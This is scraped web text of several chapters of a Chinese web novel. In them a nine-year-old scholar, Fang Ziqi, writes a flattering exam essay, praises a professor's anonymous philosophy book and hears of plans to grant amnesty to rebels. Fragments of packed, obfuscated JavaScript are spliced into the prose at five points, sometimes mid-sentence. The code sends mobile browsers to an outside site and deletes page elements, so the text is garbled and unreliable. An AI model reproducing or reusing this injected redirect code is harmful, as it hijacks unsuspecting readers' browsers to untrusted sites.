“鸭蛋滚好泥料后,找来腌菜的坛子,在坛底放置一层草木灰!然后将裹好泥料的鸭蛋挨个放在里面!但是要注意,鸭蛋之间最好留个一指宽的距离,不要过度挤压了!” “将鸭蛋入坛后,坛厚盖上油纸!最后再用重物压好!” “最后再用湿润的黄泥巴将坛口给封**!” “当然!以后若是大量制作松花蛋,也可以用大缸做坛子,但是也要注意用黄泥巴封好口子!不要漏风!” “现在这个天,直接将盛满鸭蛋的坛子放到室内即可!大概放个一个月左右,打开坛口取出几个鸭蛋看看,若是蛋皮呈现深褐色,蛋心也呈现半透明状,蛋白中会出现一些白色的‘松花’,那就说明成了!这就是松花蛋!” “若是蛋心仍旧呈现液态,那就还需要封坛再腌制几日!” “娘!” “反正你就先按照这个步骤试试!” “左右不过一个月时间!” “也可以多装几个坛子。” “多次实验!” “看看哪个能成!” “成了最好。” “就算不成,成本也不大。” 方子期在一旁笑着道。 第170章 吾师正四品学政,学问焉能不好 “成!” “指定能成!” “我儿子弄出来的方子,哪有不成的!” “反正这材料也不多,就是些草木灰、盐巴什么的,再弄点花椒什么的……” “也不费事。” “就是腌制的时间长了些。” “娘明日就开始准备。” 苏静姝撸起袖子,又准备大干一场了! 反正今后这芽菜越来越难卖,每日倒也不用发那么多芽菜了。 空出来的时间,刚好可以弄这松花蛋。 家中事了。 方子期又能全身心投入到读书中了。 白日在省学上课。 晚上归家后,跟着周夫子一起谈经论道。 时不时的还要前往柳府,请教大宗师学问,归家后再一一传授给周夫子、方仲礼、方砚秋和花允谦…… 抽出时间来,方子期还要看一些从省学借阅出来的书籍。 隔个三五日。 方子期等人还要作一两篇文章练练手。 每日都觉得时间不够用。 恨不得一天有二十四个时辰! 方仲礼最近格外用功! 每天起得最早,睡得最晚! 而且白天在省学也是请教夫子学问最积极的那个! 每次见他老爹如饥似渴地询问韩夫子,方子期都不免微微颔首。 他这爹,确实成长了不少。 他这个当儿子的,也感到很欣慰! 至少…… 他这爹愿意开口了! 这就是个好开端! 正二品刑部尚书,稳定养成中! 随着时间的推移。 方子期等人也迎来了他们在省学的第一次月考! 月考只有一道题目。 “先之劳之,则天下之民归之!” 题目的意思大概是:统治者要先为百姓去操劳、需要带头去付出辛劳,那么天下的百姓自然而然地就会去归附他! 这题目…… 方子期总感觉在影射什么。 影射当今的老皇帝不作为?所以才会导致山岱省因大旱而导致叛军频出? 又或者在讽刺叛军肆掠了这么久,祸祸了百姓这么久,你作为君王,怎么毫无作为? 这种题目。 还真不能深思。 其实这道题还是个截搭题! ‘先之劳之’出自于《论语??子路》,意思是统治者需‘率先垂范、亲力亲为’! ‘则天下之民归之’出自《孟子??离娄下》! 意思弄明白了。 那接下来就是破题了。 这玩意儿…怎么写? 总不能大书特书皇帝不作为吧? 方子期还不想冒天下之大不韪去干这种事。 他现在最大的靠山就是柳承嗣,汉江省的正四品学政。 大书特书皇帝不作为跟写反诗某种程度上有着异曲同工之妙,这可不是一个正四品学政能压得住的。 既然不能写皇帝不作为。 那就只能写是地方官员无能了! 然后再表彰一下皇帝的无奈。 如此,方子期心中就有数了。 直接开始破题! “君道崇先劳,民心自翕归。盖主上以身率下,则四海向化;若群臣尸位旷官,必众庶离心也。” 这句话的大概意思是:若是君主愿意推崇带头辛劳的治国之道,百姓自然会和睦归附!若是君主若能以身作则为下属表率,那么天下就会趋向教化,但是如果大臣们空占职位却不做事,那么百姓必定会人心离散。 总结一下意思就是,恩德都是皇帝给的,黑锅都是大臣该背的。 破好题后。 方子期顿时就放开手脚干了! “尝观古之圣君,莫不以先劳为务……” …… “夫君之先劳,昭然可鉴矣……” …… “当宸极垂裳之日,而宵衣旰食不遑。念边徼之未宁,则亲阅军书,咨谋将帅,不以寒暑废;虑农桑之未稔,则巡行阡陌,劝课农桑,不以风雨阻……” …… “且君之先劳,非为一己之私,实以安天下之民……” …… “由是观之,“先之劳之”,帝王致治之原;“天下归之”,民心响应之效。君能先劳,则虽有庸臣之梗,而民终向君!臣若无能,则纵有圣君之德,而治难速成!” “故愿居官者,以君之先劳为法,洗心革面,勉尽厥职,则上下同心,天下可安。不然,徒负君恩,终取民怨,岂不愧于“先之劳之”之训哉!” …… 洋洋洒洒一篇文章就写好了。 通篇看下来。 就一个中心思想。 皇帝处处都好!纵使有不好之处,那也是各级官员上下欺瞒所致!同皇帝本人没有任何关系! 写完之后。 方子期核查了一遍,确认无误后,誊写好就交卷了。 嗯! 又当了一次显眼包。 主要是。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244318|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>第一个交卷的人,能够最大程度上吸引监考夫子也就是韩夫子的注意力。 而这韩夫子又将会是给黄字号四班所有学员阅卷评分之人! 得到他的格外注意,没什么坏处。 况且这一个月以来。 方子期日日勤勉向韩夫子请教学问,时常还会互相探讨一下彼此的道义观念之类的。 据方子期对这位韩夫子的了解,他并非什么迂腐之夫子。 他崇尚的是精妙绝伦之奥妙文章。 所以方子期在本次月考中丝毫不曾藏拙! 全面开大! 当方子期交上考卷后。 屋内一众学子纷纷侧目。 不少学子脸色倏然一变! 这么快就交卷了?我还没破题呢! 临走前,方子期瞥了一眼花允谦和老爹方仲礼的位置,他们还在皱眉苦思。 交完卷后,方子期向韩夫子拱手离开。 韩夫子也忍不住打量起方子期的文章来。 对于这种年仅九岁,然勤学苦读、学问造诣皆不差的学生,韩夫子还是会高看一眼的。 更别说方子期的头上还挂着一个宁江府院试案首之名头! 他还听说方子期已经正式拜了柳学政为老师,时常出没于柳学政的府邸,其关系自然非同一般。 大家都算是搞教育的。 这点内部情报还是能够做到互通有无的。 “君道崇先劳,民心自翕归。盖主上以身率下,则四海向化;若群臣尸位旷官,必众庶离心也。” “如此破题……” “倒是独树一帜、别出心裁!” “不愧是大宗师教出来的学生!” “如此年轻,忠君思想已跃然纸上!” 韩夫子默默颔首,心中暗自惊叹道。 “当宸极垂裳之日,而宵衣旰食不遑……” …… “由是观之,“先之劳之”,帝王致治之原;“天下归之”,民心响应之效!” “好!” “极好!” “文章词义通达!” “满篇皆是精妙之言!” “此子!” “不愧是大宗师弟子!” “大宗师的眼光,果真毒辣!” “此子方才九岁……” “将来之成就,恐…还要超越大宗师!” 韩夫子深吸一口气,此刻也有一种与有荣焉之感! 将来方子期封侯拜相之时,他亦可说一句我曾为其师! 第171章 天行录,当为大梁第一书 方子期离开学堂后,走得极慢。 他扫了一眼韩夫子脸上遮掩不住的笑意,心中一定。 稳了! 家产翻倍第一步!妥了! 黄四班的月考第一名,我方子期先笑纳了。 闲来无事。 方子期跑去省学的书阁看书。 读书的路,还很长…很长。 他不敢有丝毫懈怠。 平日里看守书阁的就是省学教授刘青芝的仆人老莫。 最近这些时日,方子期经常来借书,彼此之间早已熟络了。 “子期又来借书啊!” 老莫笑着打了声招呼。 “莫老,今日我是来看书的。” 方子期微笑回应。 走进书阁。 方子期拿起一本名家著作,如痴如醉地看了下去。 著作名唤《天行录》,一本思想著作。 主要就是作者用来表达自己的思想境界的。 这本《天行录》主要表达的核心就是就是心即理!也就是所谓的‘心外无物,心外无理’! 随着方子期看的书多了之后。 他的眼界已经不仅仅局限于四书五经和其各种注释版本了。 这种思想著作很多时候能够引起他更深层次的共鸣,所以他爱看。 一看就是数个时辰,如痴如醉。 “今日是月考日。” “你怎会在此?” 突然,一道沉闷音传来。 方子期下意识抬起头,一张威严的脸出现在他眼前。 省学教授刘青芝! 之前方子期带着方仲礼初来省学时见过一次,当时是为了给他递上大宗师的举荐信。 当时这位刘教授给方子期的感觉就是不像是教书育人的夫子,而像是杀伐果断的政客。 此刻。 这种感觉就更强烈了。 也或许是因为掌握偌大一个省学,培养出来的威严吧! 毕竟省学教授也是正六品官身,若是想往官场上走一走,做一个知州还是问题不大的。 “刘教授。” “学生做完题,就提前交卷了。” “遂来书阁读书。” 方子期恭恭敬敬道。 看着眼前这个小人儿如此恭敬谦逊的样子,刘青芝那威严的脸上也出现了一些松动。 “嗯!” “珍惜光阴,刻苦读书,实乃好事。” “读的什么书?” 刘青芝今日心情不错,所以多问了一嘴。 “禀告教授,是《天行录》。” “刚才一时看着了迷,不曾见教授大人到来,万望恕罪。” 方子期继续恭敬道。 “《天行录》?” 刘青芝眉头一皱,表情有些不自然。 “你当下还是科考的关键时刻,为何要看这些杂书?” “你应当集中精力好好研读四书五经才是!” “多看看四书五经的大儒注释,多研究一下试帖诗的韵味亦可!哪怕是多看几篇《程文集》也是好的。” “《天行录》,只是一部思想书籍罢了!小道尔!” 刘青芝沉着脸继续道。 方子期偷瞄了一眼。 发现这位刘教授虽脸色沉闷,但是似乎并不像是真的生气,反倒是有一种…淡淡的愉悦?方子期也不确定是不是自己看错了。 “教授大人!” “若是其他的思想著作倒也就罢了……” “但这本《天行录》实在是不一般!” “其中提出的‘心即理’、‘知行合一’和‘致良知’三大核心思想实在精妙绝伦!” “学生阅之,不甚欢喜!” “亦感对学生之思想境界和学问提升有诸多裨益!” 方子期一本正经道。 他打算小赌一把。 他发现自己在说这些的时候,这位刘教授的嘴角止不住地在上扬…… 很好!赌对了。 “哦?” “你觉得这三种思想是对的?” “呵呵!” “要知道在当下之文坛上,这些不伦不类之思想,皆是歪理邪说!” 刘青芝继续道。 “歪理邪说?” “无稽之谈!” “究竟是何等蠢人将此等经典说成是歪理邪说?” “学生虽不才,亦要同他好好争辩一番!” “依学生之浅见!” “此类心学思想必然是未来之主流!” “《天行录》,将来势必要流传千古!供万世读书人阅读和敬仰!” “而能够写出《天行录》者,也必定会被天下学子奉为孔孟之后的新圣人!” “此书!唯有真正的文坛大儒才可作出!” “于学生而言!这《天行录》就是学生之圭臬!学生思想提升之无限源泉!” “尤其是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244319|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心即理’的思想主张!” “心外无物!心外无理!” “所谓的天理!并非存在于外在的事物和典籍中!” “而是根深蒂固地存在于我们每个人的本心之中!” “所有人的道德准则和对诸多事物的认知,皆是我们内心良知的自然流露和展现!根本不需要向外追逐!” “《天行录》当为大梁第一书!” 方子期说得脸色通红,激情满满! 一方面,方子期确实对这《天行录》十分赞赏。 另一方面…也就是临场发挥了。 因为方子期发现他越夸赞这《天行录》,这位刘教授嘴角上扬的幅度就越大。 很显然。 这位刘教授恐怕也十分青睐于这本《天行录》。 此刻方子期同他老爹都在省学求学,同这位省学一把手的刘教授搞好关系,并无坏处。 “大梁第一书?” “这……” “有些言过其实了吧!” “这《天行录》固然不错,也不曾到第一书的地步吧?” 刘青芝此刻的语气稍显急促。 “教授!” “非是学生言过其实。” “而是世**多喜欢追逐于当世之文学!而对传世之佳作大多抱有一种审判的态度。” “实则唯有那些思想通达、学问通天的大儒!方才能作出如此传承万世之佳作!” “学生敢断言!” “未来五百年内!” “恐很难再有著作能媲美这本《天行录》!” “学生何其荣幸!” “居然能在今日翻阅到这本《天行录》!” “省学之书阁,当真是藏书万卷!皆是好书!” 方子期言之凿凿道。 越说,方子期的脸色就越涨红。 一副我就是《天行录》最强捍卫者的姿态。 “咳……” 刘青芝此刻忍不住咳嗽一声。 不知何时。 他的脸色也跟着红润起来。 “书阁内,好书还是不少的。” “除了这《天行录》外,你亦可读一读《心道录》和《行者录》,或许你还会有一些新的感悟!” “好了,我就不耽误你读书了。” “我先去了。” 刘青芝大踏步转身离去。 转过身时,一张严肃的脸上,早已笑靥如花。 第172章 爹,我教育你,都是为了你好 吾道不孤! 刘青芝心中大喜! 然,此刻仍旧要保持他省学教授之端庄和体面!不可大笑而出。 不多时。 等刘青芝走出书阁后,莫老一脸好奇地走了过来。 “小子期。” “你同我家主人说什么了?我可是好久没见我家主人这般高兴了!” “那嘴角都快要裂到耳后根了呢!” 老莫啧啧称奇道。 “哦?” “教授很高兴?” 方子期嘴角一扬,他也很高兴。 显然。 他赌对了。 “当然!” “这几年我还是头一次见他这么高兴呢!想当年他受封…额…反正就是很高兴。” 老莫笑着道。 “莫老,我也就是同刘教授商谈了一番这本《天行录》。” 方子期说话间,将《天行录》递送过来。 老莫顿时露出了然表情。 “原来如此!” “我就说嘛!” 老莫嘿嘿一笑。 “莫老,您可知这《天行录》是谁人所作?” “我为何在封面上不曾见到作者之名?” 方子期错愕道。 “哈哈!” “这不重要!” “反正…这是一本好书就行了!” 老莫笑呵呵地离开,搞得方子期更是丈二和尚摸不着头脑了。 “难不成这《天行录》是刘教授恩师或好友之作?” “又或者……” “这不会就是那刘教授写的吧?” 方子期脸上的表情越来越精彩。 随即方子期又找出刚才刘青芝提及的《心道录》和《行者录》。 这两本书的核心思想都同《天行录》很像。 《心道录》和《行者录》更像是《天行录》的诠释版本。 总而言之,方子期读了个畅快。 他感觉自己的灵魂都受到了一次洗涤。 “看来这位刘教授对这种心学思想颇为推崇啊!” 方子期心中暗自记下了这件事。 方子期一直在书阁看书到下学才歇。 等到方仲礼和花允谦找来后,他们才一起出了省学。 而与此同时。 省学内。 刘青芝径直找到了韩夫子。 “慎修!” “方子期,可是你的学生?” 刘青芝询问道。 “是的教授。” “教授找他有事?” 韩夫子错愕道。 难不成刘教授是受了柳学政的什么嘱托? 不过…刘教授素来清正,对那些阿谀攀附之事,素来厌恶得很啊! “他的考卷拿来我看看。” 刘青芝道。 随即刘青芝见韩夫子脸上表情复杂,又补了一句道:“今日我去书阁见他在读书,知他早早就交了卷,所以想着来看看他是否草草答卷敷衍了事。” 刘青芝不解释还好,一解释后,韩夫子脸上的表情就更复杂了…… 你偌大一个省学教授,能因为这点事特意找到我,要看一个学生的考卷? 糊弄鬼呢? 韩夫子虽然心中腹诽,但是手上速度倒是不慢,赶忙将方子期的试卷找了出来。 “君道崇先劳,民心自翕归……” …… “当宸极垂裳之日,而宵衣旰食不遑……” …… “若夫居官守土者,其能体君之先劳乎?” …… “妙!” “如非亲眼所见,实难想象这居然是一九岁孩童所作!” “经世之才,当有经世传承万世之眼光!” “此言不虚也!” “眼光如此独到者!果然学问极佳!” “慎修。” “此子文章,你觉如何?” 刘青芝询问道。 韩夫子:“……” “极好!” 韩夫子嘴角一抽道。 你都说妙了,我一个平平无奇的省学举人小夫子,还能跟你唱反调啊! “嗯!” “此子文章!当为第一啊!” “当然!” “最终阅卷结果如何。” “一切还要看慎修之意见。” “切莫被我之言影响了,届时失了公正。” 刘青芝着重提醒道。 “是!” “请教授放心,慎修心中明白!” “自当秉公阅卷!” 韩夫子连忙点头道。 你刘教授都这样说了,我还能怎么做? 更何况…韩夫子本来就对方子期的文章颇为欣赏。 “如此就好。” “慎修,那我先走了。” 刘青芝说完,转身离去。 看着这位刘教授欣然离开的背影,韩夫子陷入了沉思…… “这方子期到底是何方神圣啊!” “既能攀上柳学政,现如今就连素来刚正不阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244320|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刘教授也对其青睐有加!” “此子!” “实在是不凡啊!” …… …… 归家后。 花允谦和方仲礼还在讨论今日月考的题目。 “居然是截搭题!” “我虽知这出自于哪里,但是上下之义,我并不十分通晓。” “完了完了。” “这次考砸了!” 花允谦呜呼哀哉道。 “我亦考得不好。” “总觉这题,透着古怪。” “子期!” “为父此次月考怕是无法夺得前三名了!” “为父不能陪着你直升天班了。” 方仲礼惋惜道。 “爹!” “这月考结果还没出来呢!” “你就在这打退堂鼓?” “只要考试的时候,尽力了就好。” “区区一次月考罢了,不必放在心上。” “爹!” “你这心态可要放稳!” “不然来年的乡试,你怎么考得下去?” “这做学问,可不能心浮气躁的。” “爹!这毛病要改!” “你千万不要觉得这是小事!” “你看那些大儒,皆是心宽稳重者!” “爹!我推荐你平日里多看看这《天行录》!” “可以修修心。” 方子期推荐道。 “《天行录》?什么书?我怎么没听过?” 花允谦一脸惊奇地凑过来。 “在省学的书阁中借阅的。” “那位刘教授对此书十分推崇。” “想来应当是好书。” “多看看好书,没坏处。” “还有这《心道录》和《行者录》都是配套的。” “多读一读,能静心养身!” “爹!” “在心性这一块,你应当向周夫子好好学学!” “一定要养成泰山崩于前而面不改色的心态。” “爹!” “我也不想天天如此教育你!” “我这都是为了你好!” 方子期语重心长道。 “爹知道了!” “我回头好好看看这几本书。” “好好修修心。” 方仲礼点点头,十分懂事道。 方仲礼也明白。 自己这半路出家的读书人,很多方面都有疏漏。 所以他需要付出常人数倍之苦功,才能弥补上! 第173章 **放火受招安! 读书。 是一件快乐的事情。 书中虽没有黄金屋,亦没有颜如玉。 但是能荡涤你的灵魂,充实你的身心。 不得不说,方子期现在还真有些喜欢读书了。 若说一开始开蒙读书只是为了顺应这个‘万般皆下品惟有读书高’的时代的话,那现在他读书,真的是自己想读。 读好书,而非死书。 尤其是因读书有所回报后,这种读书的快乐感就更具象化了。 不读书,没有功名在身,在这个混乱的大时代,他一家子恐怕早就被啃得渣都不剩了。 月考后,就是休沐日。 方子期去了一趟柳府。 “子期兄!” “你终于又来了!” “我连《孝经》都背完了!” “一个人读书实在是太无趣了!” “子期兄。” “你说我现在这般努力读书,将来肯定能当大将军吧?” 柳允昭的执念很强,心心念念的还是当大将军。 不得不说这柳允昭这壮硕的体格…还真有几分当将军的气质。 “嗯!” “放心吧!” “问题不大!” 方子期一脸笃定道。 只要你小子站好队,以后别乱跑,保你一个将军位又何妨? “嘿嘿!” “多谢子期兄!” “子期兄!” “我爹这几天脾气不好,你去见他的时候小心点。” “我都听他在书房摔了好几次东西了。” “这几日他都没空考教我学问了。” 柳允昭在一旁提醒道。 “好!我知道了。” 方子期脸上不动声色,心中却是为之一动。 以柳承嗣这种身份,很少有什么事情能让他情绪失控了。 除非是出了什么了不得的大事! 照例。 方子期在柳府吃了午食。 吃饭的时候,方子期明显感觉到气氛很压抑。 那位柳大宗师也只是草草地吃了几口,就起身了。 “子期!” “你吃完了来寻我。” 柳承嗣沉声道。 随即面色枯槁地转身离去。 方子期快速吃完饭,来到柳承嗣的书房。 刚进去,发现柳承嗣一脸疲惫地躺在椅子上。 “子期!” “过来!” “坐!” 柳承嗣招呼道。 方子期应声称是…… 良久…… 柳承嗣都没说话。 书房内的氛围感更诡异了。 “你就没什么想问我的吗?” 柳承嗣有些憋不住了。 “老师如果想要告诉学生,必定会说的。” “老师如果有什么难言之隐,学生也定然不会随意询问。” 方子期很诚恳道。 这点分寸感,要拿捏好。 不要讨人厌。 柳承嗣满意地点点头。 他这个学生,年龄虽小,却老成持重,这也是柳承嗣喜欢和方子期谈论国事的重要原因。 身处在他这个位置上,自然要谨言慎行,不敢稍有偏差过错。 也唯有在他这个学生面前,能够展现一些真性情了。 “这场仗,马上就要结束了。” 柳承嗣爆了个大雷。 “结束?” “老师,左骑军打赢了?” 方子期眼前一亮…… 但是很快就黯淡了些,真要是左骑军打赢了,柳承嗣也就不会如此郁郁寡欢了。 “呵!” “这群只知道明哲保身、贪生怕死的家伙,能打赢什么仗?” “晋王已经上书朝廷,打算诏安叛军了!” “说是一切叛乱之根源,皆是因为山岱省巡抚抚恤灾民不力!那些叛军起兵前皆是良家子……” “耻辱!” “奇耻大辱!” “偌大一个大梁朝!” “居然被叛军欺压至此!” “无耻!” 柳承嗣越想越气。 若非方子期在前,他都想将书桌上的砚台给砸了。 “这…老师。” “这叛军也不会随随便便就接受诏安吧?” “毕竟他们也怕被清算。” 站在方子期的角度上,**放火受诏安确实算是一整套流程了。 若是叛军真的被招安了,对于方子期而言,也只有好处没有坏处。 但…… 可能吗? 那黄角是什么人物? 人家祭出的旗号可是‘苍天已死,**当立’啊! 摆明了人家就是想坐一坐那皇位的。 可不是那宋江宋诏安,血祭一百零八将,一心扑在诏安上。 “哼!” “晋王上书朝廷,打算将山岱省和半个汉江省割给叛军……” “让叛军 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他说话必须要留有余地,留下一些话,让柳承嗣去说,让他好好发一发这邪火。 “他可不糊涂!” “他只是不想将兵力和精力都浪费在叛军身上罢了!他还得留着实力去夺皇位呢!” “而且……” “若是这叛军真的被招安了,那也是经他晋王的手受的诏安。” “可不得受他晋王的人情吗?” “届时,这位新上任的山岱、汉江两镇节度使可不就成了他晋王天然的盟友吗?” “呵呵!” “倒是打的一手好算盘!” “实无耻也!” “若是真让晋王继承了大统!” “我必辞官归隐!” 柳承嗣咬牙切齿道。 方子期眉毛一挑,他这老师喜欢写诗奉承君王,实没想到骨子里还有这般血性。 “老师。” “只要陛下圣体安康,晋王就掀不起水花来。” “一切都会变好的。” “唯愿陛下长命百岁,百病皆消!” “如若真有灾厄!请将一切灾厄都承接于学生身上。” 方子期神情严肃,不似作假。 第174章 我,刘青芝,落魄凤凰不如鸡 “呼!” “子期!” “你有心了!” “吾心甚慰!” “这天下尚有子期这般忠君爱国之人,那这大梁朝,就亡不了!” 柳承嗣看着方子期,满目皆是欣赏。 此子!灵动十足! 稍加培养!未来必定是官场上的清流砥柱! 他柳承嗣虽在官场上被那些所谓的清流看不起,甚至被戏称为‘舔靴公’,然他柳承嗣亦不想同那些道貌岸然的**子相交甚笃。 他柳承嗣,一人,即是清流! 舔靴公怎么了? 在朝廷之上! 那些阁老尚书可称我为‘舔靴公’! 出了朝堂呢? 你们该称呼本官为何物?你们连舔本官靴子的资格都没有! “好了。” “同子期说了这些,我之郁结的心情,亦好了许多。” “子期,听说省学昨日月考了?” “考得如何?” “可有信心?” 柳承嗣忍不住摸了摸刚蓄起来的胡须道。 “回禀老师,学生自感尚可。” “只是…学生在书阁寻到一本书,名叫《天行录》,觉得此书意境尚可,只是封皮之上并未曾署名作者,不知老师可知此书是何人所作?” 方子期忍不住询问道。 实在是太好奇了! “《天行录》?” “莫不是……” “心学的著作?” 柳承嗣眉头一皱…… “是的老师!其书中的主要思想就是‘心即理’,老师也读过此书?” 方子期好奇道。 “听人说起过。” “此书作者……” “你也认识。” “刘青芝刘大人所作。” “呵呵!” “当年这本书在京城也算是名噪一时。” “只是随着这位刘大人被贬,倒也逐渐销声匿迹了。” 柳承嗣摇摇头道。 “刘大人被贬?” “老师,这刘大人以前是京官?” 方子期还真是第一次听到这种消息。 “嗯!” “当初我还是个举人时,这位刘大人就是礼部侍郎了。” “只是后来在朝堂上受排挤,就被贬到了汉江省,去了省学当了个不知名的教授。” “想当年……” “这位刘侍郎可是被誉为最有机会入阁的清流。” “可惜了。” “怎么?你对这《天行录》颇为推崇?” 柳承嗣询问道。 “学生只是觉得这确实是一本好书。” “对学生的思想境界提升有极大助益。” 方子期老实道。 “嗯!” “这位刘教授可是当年的传胪,学问自是不差的。” “写的书,自然也不会是什么凡俗之作。” “你看一看倒也无妨,回头若有机会,你带来让我也看看。” “不过……” “在外人面前,你就不要说起你格外欣赏这《天行录》了。” “毕竟这刘教授已不复当年的英姿了。” “而他曾经的那些政敌和对手,现如今才是真正的居庙堂之高!” “莫要被人拿捏了把柄!” “这对你今**仕极为不利!” “子期,你可明白?” 柳承嗣教导道。 方子期神情一凝。 连忙拱手拜谢。 “多谢老师提醒,否则学生就犯下大错了!” 方子期连忙点头道。 这落魄的凤凰不如鸡…… 落魄的侍郎写的心学著作,谁敢大加赞赏和推崇? 这不是自撞南墙吗? 方子期心中莫名感慨,怪不得他当初第一眼见到这刘青芝刘教授的时候,就感觉他身上有一股杀伐果断的政客气息!丝毫不像是教书育人的夫子。 没想到…… 若干年前,人家就已经是正三品的礼部侍郎了! 若是当年没有被贬……这么多年就算是熬资历也该熬到一部尚书的位置上了吧? 如此这般,这刘教授算是自己认识的最高级别的官员了。 可惜没如果。 现在这刘教授就是省学的一名正六品教授! 在省学内,他说一不二。 在省学外……就不灵了。 稍后。 方子期照例又请教了柳承嗣一些学问上的问题。 柳承嗣一一作答。 不过方子期也没敢问太多。 毕竟这位柳大宗师这几日的状态和心情都不太好。 “总不能逮住一只羊一直薅啊……” “得多找几个学问好的多请教……” 方子期摸了摸下颚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244322|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>在省学中,韩夫子的学问算是不错的了。 但是举人到底是举人。 和进士之间的差距还是很大的。 方子期每次听柳承嗣讲学皆有一种茅塞顿开、发人深省之感。 但是在请教韩夫子的时候…虽也能得到一些想要的答案,但是总有一种莫名的朦胧感。 尤其是随着方子期读的书越来越多,学问越来越精通后,他更有此感了。 “这位刘教授既是昔日殿试传胪……那学问自是不差的。” “是否可以向他请教问题?” 方子期摸着下颚,展开深思。 所谓的传胪其实就是二甲第一名。 殿试定名次。 一甲共三名,第一名状元,第二名榜眼,第三名探花! 二甲第一名就是传胪。 也可以说这传胪就是整体排名的第四名。 文无第一武无第二。 第一名和第四名之间的差距……有时候可能也就是输在了阅卷官的阅卷喜好上罢了。 等归家时。 他娘苏静姝已经做好了饭。 一大家子聚在一起,倒也其乐融融。 晚间。 就是方子期方夫子的教学时刻了。 教学完毕之后。 方子期习惯性地点评了几句。 “周夫子理解地不错,颇有进步。” “砚秋进步也很大,长此以往,明年的院试必中无疑!” “允谦兄,你就是太贪玩了些!做学问可要持之以恒才是!” “至于仲…咳……至于爹你嘛,最近进步也不小,尤其是在对经义的理解上,更是突飞猛进!” “爹!你若是照着这个趋势努力下去,来年的秋闱,你未必就没机会中榜!” 方子期看向方仲礼,他的望父成龙之心,昭然若揭! “爹知道了。” “爹会更加努力的!” 方仲礼抬起头,一脸红润道。 被儿子夸了,他很高兴。 干劲更足了。 “对了。” “这场战争,可能暂时要偃旗息鼓了……” “大宗师那边说……晋王想诏安……” 方子期简单说了一遍大概情况。 说完之后。 众人一阵唏嘘。 玩呢? 打得好好的…… 诏安了? 第175章 月考头名,稳稳当当 “****金腰带啊!” “这黄角要发了!” “造个反,溜一圈,马上就要从一介平民变成正三品节度使了?” “我听说这个黄角屡试不第,至今连个秀才功名都没有……” “这就要当上正三品大员了?” “这读书有什么用?” “还不如**升官快!” 花允谦忍不住嚷嚷道。 “怎么?” “允谦兄,你动心了?” “也准备效仿这位黄节度使?” 方砚秋忍不住在一旁调侃道。 “咳……” “我虽无此心,但是黄角的先例一开,恐怕各地叛军都蠢蠢欲动了!” “还读什么书啊!” “靠科举入仕哪有靠**当官来得快?” “我若是走投无路,我肯定也动心。” “上面那些人也不知道咋想的。” “屁股决定脑袋啊。” 花允谦颇为愤慨道。 “子期!” “这要是叛军受诏安了,是不是就不必打仗了?” “咱们…是不是就有机会回去看看了?” 方仲礼眉毛一扬,有些惊喜道。 对老百姓来说,不打仗就好啊。 宁为太平犬,不当乱世人啊。 “而且这世道要是不乱了,物价也该平稳了。” “只要不打仗,就是顶好的事!” 方仲礼继续道。 “爹!” “别想太多。” “不说这诏安的事情能不能成。” “就算是真成了,这靠着**起家的黄角也只会趁机疯狂扩充兵力、发展壮大。” “朝廷也会将黄角视作眼中钉肉中刺。” “迟早都得继续打。” “早晚的问题罢了。” “要我说,早些打完,还能清净些。” “等以后叛军靠着朝廷官身彻底做大之后…那再打起来,规模就得扩大数倍了。” “不过……正常来说,近几个月应当能稍微太平些了。” “但是这禾阳县还是不能回。” “爹!” “就待在这省城好好读书吧!” “往前走,莫回头!” 方子期叮嘱道。 “爹知道。” “爹也就是说说而已。” “也不知道族长他们怎么样了。” 方仲礼不由得担忧起族里的事。 稍晚些的时候。 苏静姝特地找到方仲礼,说起了正事。 “孩子他爹。” “大丫过了年,都十五岁了。” “真不能再耽搁了。” “必须要相看了。” “这几日已经有媒婆登门,想要给大丫介绍了。” “我都没应,想着等你拿个主意。” “这大丫的婚事再拖下去,可就真成老姑娘了!” “今年,必须要将事给定了!” 苏静姝一脸忧色。 “娘!” “我不嫁人!” “我就在家陪着您!” 大丫在一旁娇声道。 “少说那些话!” “女孩子大了,不嫁人怎么行?” “去岁就该给你相看了,只是事情多,给耽搁下来了。” 